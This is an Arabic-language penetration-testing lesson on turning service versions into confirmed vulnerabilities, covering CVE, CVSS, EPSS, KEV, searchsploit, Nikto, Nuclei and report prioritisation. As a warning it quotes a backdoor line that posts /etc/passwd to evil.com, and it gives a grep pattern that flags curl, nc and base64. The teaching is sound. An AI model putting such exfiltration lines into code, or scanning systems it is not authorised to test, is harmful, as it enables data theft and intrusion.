البحث عن الثغرات — المفاهيم الأساسية
لديك قائمة الخدمات وإصداراتها. لا تعرف بعد الثغرات. هذا الأسبوع، نحوّل الإصدار إلى مسار استغلال. هذه هي المفصلة الحقيقية في اختبار الاختراق: بدونها، تظل تفحص إلى الأبد. معها، تضرب.
كل تأكيد لثغرة يرسل شيئًا ما إلى الهدف. نبقى بشكل صارم داخل RoE. على الأهداف العامة، لا نتجاوز الحد الأدنى من الإثبات (لا داعٍ لتفريغ قاعدة البيانات كاملة لمجرد المتعة).
ما ستكون قادرًا على فعله بعد هذا الدرس
- قراءة فيش CVE بشكل صحيح وفهم لماذا تكذب درجة CVSS وحدها.
- استخدام EPSS و KEV لترتيب الأولويات بما يتجاوز CVSS.
- التسلسل عبر NVD → Exploit-DB → GitHub → Twitter/Mastodon بالترتيب الصحيح.
- تفسير نتائج Nikto و Nuclei دون الغرق في الإيجابيات الكاذبة.
- الانتقال من فرضية ("Apache 2.4.49 عرضة للاختراق") إلى إثبات ("على هذا الرابط بالتحديد، استخرجت
/etc/passwd"). - إنتاج جدول مرتّب حسب الأولوية للثغرات، جاهز للاستغلال.
1. الثغرة، CVE، POC، الاستغلال (Exploit)
أربع كلمات. تُخلط دائمًا. ثبّتها في ذهنك مرة وإلى الأبد.
| الكلمة | ما هي |
|---|---|
| الثغرة (Vulnérabilité) | الضعف بحد ذاته (جزء من الكود، إعداد ما). حقيقة تقنية. |
| CVE | معرّف فريد يُمنح لثغرة (مثال: CVE-2021-41773). لا شيء آخر. |
| POC (Proof of Concept) | مثال أدنى يُفعّل الثغرة، غالبًا بضعة أسطر. |
| Exploit | أداة مكتملة تستخدم الثغرة للوصول إلى نتيجة مفيدة (shell، RCE، تسريب بيانات). |
قد تكون CVE موجودة منذ 5 سنوات دون POC علني — في هذه الحالة، لا أحد يعرف حقًا كيفية استغلالها عمليًا. وعلى العكس، قد ينتشر exploit قبل تخصيص رقم CVE رسمي (zero-day).
بالنسبة لمختبر الاختراق: CVE + POC + exploit = مسار عملي ملموس. CVE وحدها = مسار نظري.
2. درجة CVSS — فخ الدرجات خارج السياق
CVSS (Common Vulnerability Scoring System) يعطي رقمًا بين 0 و10 لكل ثغرة. الجميع ينظر إليه. تقريبًا الجميع يقرؤه بشكل خاطئ.
ثلاثة متجهات CVSS تتعايش:
- CVSS Base — الدرجة النظرية، دون مراعاة بيئتك. هذه هي التي يعرضها Google.
- CVSS Temporal — تُعدَّل حسب وجود POC، أو توفر تصحيح (patch).
- CVSS Environmental — تُعدَّل حسب سياقك: هل الخدمة معرّضة؟ هل تعالج بيانات حساسة؟
CVSS Base بقيمة 9.8 على خدمة داخلية، مصفّاة، تم تصحيحها خلال ساعتين = CVSS Environmental بقيمة 4.2.
CVSS Base بقيمة 6.5 على تطبيق معرّض على الإنترنت، لم يُصحَّح منذ سنتين، مع exploit علني بسيط = CVSS Environmental بقيمة 9.6 عمليًا.
لا تصنّف اكتشافاتك حسب CVSS Base. أعد الحساب يدويًا مع سياق العميل.
3. EPSS — احتمال أن تُستغل الثغرة فعليًا
EPSS (Exploit Prediction Scoring System): احتمال، بين 0 و1، بأن تُستغل الثغرة خلال الثلاثين يومًا القادمة. يُحسب انطلاقًا من ملاحظات فعلية (honeypots، مجسّات إنترنت).
| EPSS | التفسير |
|---|---|
| < 0.01 | ثغرة منسية، لا يوجد exploit متداول. |
| 0.01 - 0.10 | نادر لكن ممكن. |
| 0.10 - 0.50 | معتدل، exploit متوفر، الاستهداف ممكن. |
| > 0.50 | قوي. نرى exploit يمر في الواقع. |
| > 0.90 | كان ينبغي أن تكون قد صحّحتها بالفعل. |
الموقع الرسمي: www.first.org/epss.
EPSS يكمّل CVSS. CVSS بقيمة 7.5 + EPSS بقيمة 0.9 أكثر إلحاحًا من CVSS بقيمة 9.8 + EPSS بقيمة 0.001.
4. KEV (CISA) — الإلحاح المطلق
تحتفظ CISA (وكالة الأمن السيبراني الأمريكية) بـ KEV (Known Exploited Vulnerabilities Catalog). وجود CVE في KEV يعني "مستغَلّة فعليًا في الواقع".
الموقع: www.cisa.gov/known-exploited-vulnerabilities-catalog.
بالنسبة لمختبر الاختراق: وجود CVE من KEV لدى عميلك يمثّل أولوية 1 فورية. لا تطلب إذنًا، بل تتصل بالعميل بشكل عاجل إذا أكدتها أثناء الاختبار.
5. المسار المعياري لتصنيف CVE
طريقة قابلة للتكرار في 6 خطوات. لا تتخطَّ أي خطوة.
الخطوة 1 — التحقق من الإصدار
قال الماسح Apache 2.4.49. هذا صحيح في معظم الأحيان — إلا في التوزيعات التي تُعيد ترحيل (backport) تصحيحًا دون تغيير رقم الإصدار. غالبًا ما تضيف Debian/Ubuntu اللاحقة -ubuntuX: قد يكون Apache/2.4.49-1ubuntu5.3 مصحَّحًا بينما Apache/2.4.49 الأصلي ليس كذلك.
التحقق:
# En pentest interne, si vous avez un shell : dpkg -l apache2 ou rpm -qi httpd
# En externe, en boîte noire : essayer le POC. Si ça marche, c'est bon.
الخطوة 2 — استعلام NVD
nvd.nist.gov — المرجع الرسمي. لكل CVE فيه بطاقة تحتوي على CVSS، الوصف، المراجع، المنتجات المعنية.
الخطوة 3 — البحث عن POC أو exploit
بالترتيب:
- Exploit-DB: القاعدة التاريخية. بحث حسب المنتج / الإصدار / CVE.
- بحث GitHub: غالبًا ما تظهر أحدث POC على GitHub أولًا.
- Twitter / Mastodon (عبر باحثي أمن المعلومات): تظهر الـ zero-day والتقنيات الجديدة هنا أولًا.
- مدونات الباحثين: Rapid7، PortSwigger، Watchtowr، Assetnote. غالبًا شرح + POC مفصّل.
في Kali، يستعلم searchsploit نسخة محلية من Exploit-DB، محدَّثة:
searchsploit "Apache 2.4.49"
searchsploit -m linux/webapps/50383.py # rapatrie un exploit en local
الخطوة 4 — قراءة الـ exploit قبل تشغيله
لا تُشغِّل أبدًا exploit وجدته على الإنترنت دون قراءته أولًا.
سببان:
- تحتوي بعض الـ exploits العلنية على أبواب خلفية (backdoors) تستهدف المبتدئين. سطر مثل
import requests; requests.post('http://evil.com', data=open('/etc/passwd').read())مُدرَج في السكربت يسرق بياناتك الخاصة. - قد يكون الـ exploit مدمِّرًا (تهيئة أقراص، DoS غير مقصود). لست في RoE من أجل ذلك.
مرّر كل exploit عبر grep -i "eval\|exec\|base64\|http\|curl\|nc " قبل التشغيل.
الخطوة 5 — التكيّف مع الهدف
غالبًا ما يستخدم POC العلني مسارات أو معاملات عامة. قد يكون الهدف قد أعاد تسمية نقطة النهاية الخاصة به، غيّر المنفذ، عدّل ترويسة Host. كيّف الـ exploit قبل أن تلوم الأداة.
الخطوة 6 — إعادة الإنتاج بشكل نظيف
ثلاثة عناصر كحد أدنى في إثباتاتك:
- الطلب المُرسَل (
curl -vمُلتقَط، أو raw request في Burp). - الاستجابة الملاحظة (مقتطف دالّ).
- لقطة شاشة أو ملف خرج يمكن للعميل التحقق منه.
بدون هذه العناصر الثلاثة، الثغرة ليست مُثبَتة، بل هي مشتبه فيها.
6. Nikto — الماسح الويب القديم
يستعلم nikto تطبيقًا ويب بـ آلاف الاختبارات. قوي، ثرثار، مليء بالإيجابيات الكاذبة.
nikto -h https://cible.com -Format txt -o rapports/nikto-cible.txt
ما يفعله جيدًا:
- اكتشاف الملفات المنسية (
.git/config،phpinfo.php،backup.tgz). - اكتشاف لافتات الإصدار (banners).
- اكتشاف الإعدادات الخطيرة (طرق HTTP خطيرة، ترويسات مفقودة).
ما يفعله بشكل سيئ:
- إيجابيات كاذبة متكررة على الأُطُر الحديثة التي تُرجع
200 OKلكل شيء. - صاخب — فحص
niktoكامل يعني آلاف الطلبات. - لا يتبع إعادة التوجيه على مستوى التطبيق — يفوّت أشياء.
الاستخدام المعتاد: فحص سريع، ثم نُصفّي الاكتشافات الحقيقية يدويًا.
7. Nuclei — الماسح الحديث، القائم على القوالب
يحمّل nuclei (من ProjectDiscovery) قوالب YAML تصف ثغرة وتوقيعها. مجتمع نشط، آلاف القوالب.
# Templates de type CVE et exposition, sévérité haute et critique
nuclei -u https://cible.com -tags cve,exposure -severity high,critical
# Ciblé sur un CVE spécifique
nuclei -u https://cible.com -t http/cves/2021/CVE-2021-41773.yaml
نقاط القوة:
- إيجابيات كاذبة نادرة (القوالب مكتوبة للمطابقة بدقة).
- سريع (متعدد الخيوط، HTTP/2).
- تحديث مستمر من المجتمع.
نقاط الضعف:
- لا يحل محل اختبار الاختراق — يجد فقط ما يعرفه.
- قد يُحدث ضوضاء على الهدف إن لم تُصفِّ الوسوم (tags).
ممارسة جيدة: -tags cve,exposure في مرحلة الاستكشاف، ثم قوالب مستهدفة بمجرد وجود مسار واضح.
8. ماسحات التطبيقات (نظرة عامة)
في هذه المرحلة، لا نستبدل اختبار الاختراق بماسح آلي. لكن نعرف ما يقدمه كل واحد:
| الأداة | المجال | القوة |
|---|---|---|
| Nessus / OpenVAS | الشبكة، الأجهزة الافتراضية، المضيفين | جرد ضخم، قواعد CVE محدّثة. |
| Nikto | الويب (عام) | الملفات المنسية، اللافتات. |
| Nuclei | الويب (قوالب) | اكتشاف CVE مستهدف. |
| Burp Suite (Scanner Pro) | الويب (تطبيقي) | الأفضل لثغرات OWASP Top 10. |
| Trivy | صور Docker، التبعيات | CVE في الـ packages. |
| kube-hunter | Kubernetes | فحوصات داخلية للعناقيد (clusters). |
في اختبار اختراق جاد، نستخدم ماسحين مختلفين على الأقل ونُقارِن (corréler) بين النتائج.
9. ترتيب الأولويات — لا تُسلّم قائمة مسطّحة
تقرير بـ 200 سطر غير مرتّب حسب الأولوية غير قابل للاستخدام. جمّع البنود في مجموعات.
| الأولوية | المعايير |
|---|---|
| P1 — حرجة | قابلة للاستغلال دون مصادقة + معرَّضة علنًا + موجودة في KEV أو لها POC علني. |
| P2 — عالية | قابلة للاستغلال بحساب عادي + وصول إلى بيانات حساسة. |
| P3 — متوسطة | قابلة للاستغلال في ظروف نادرة، أثر محدود. |
| P4 — منخفضة / إعداد | خلل في الإعداد، نظافة تقنية، تُصحَّح دون إلحاح. |
كل سطر في التقرير يحمل:
- العنوان القصير.
- الأولوية.
- CVSS Base و CVSS البيئي المعاد حسابه.
- EPSS إن كانت معروفة.
- هل موجودة في KEV (نعم/لا).
- الإثبات (الرابط، الطلب، الاستجابة).
- التوصية (تصحيح، إعداد، تخفيف).
10. الأخطاء التي تقتل المصداقية
- تقرير يعتمد على CVSS Base وحده. سيلاحظ العميل فورًا أنك لم تضع الأمر في سياقه.
- نسخ ولصق بطاقة NVD. العميل يعرف قراءة NVD. إنه يدفع لك مقابل السياق.
- ثغرة بدون إثبات قابل لإعادة الإنتاج. "الخدمة عرضة لـ CVE-2021-XXXX" دون طلب/استجابة — لا يمكن لمسؤول أمن المعلومات فعل شيء بهذا.
- إيجابيات Nikto الكاذبة المتروكة في التقرير. إيجابية كاذبة واحدة تُفقد التقرير كله مصداقيته.
- أولوية P1 بإفراط. إن كان كل شيء P1، فلا شيء يعود P1.
- تجاهل الثغرات المتسلسلة. ثغرتان من P3 قابلتان للتسلسل غالبًا ما تُعادلان P1. أشِر إلى السلسلة.
11. ما يجب تذكّره
- الثغرة، CVE، POC، الاستغلال: أربعة أشياء متمايزة.
- CVSS Base يكذب خارج السياق. CVSS Environmental و EPSS + KEV ترتّب الأولويات بشكل جيد.
- الانتقال من الإصدار إلى الثغرة يتبع 6 خطوات: الإصدار → NVD → POC → قراءة POC → التكيّف → الإثبات.
- Nikto و Nuclei متكاملان. لا أحد منهما يحل محل النظرة البشرية.
- التقرير مرتّب حسب الأولوية، وليس مسطّحًا. كل سطر له إثبات وتوصية.
الدرس القادم: نُصنّف ثغرات جهازي Metasploitable لدينا — ونُسقط اثنتين منهما، دون Metasploit، يدويًا.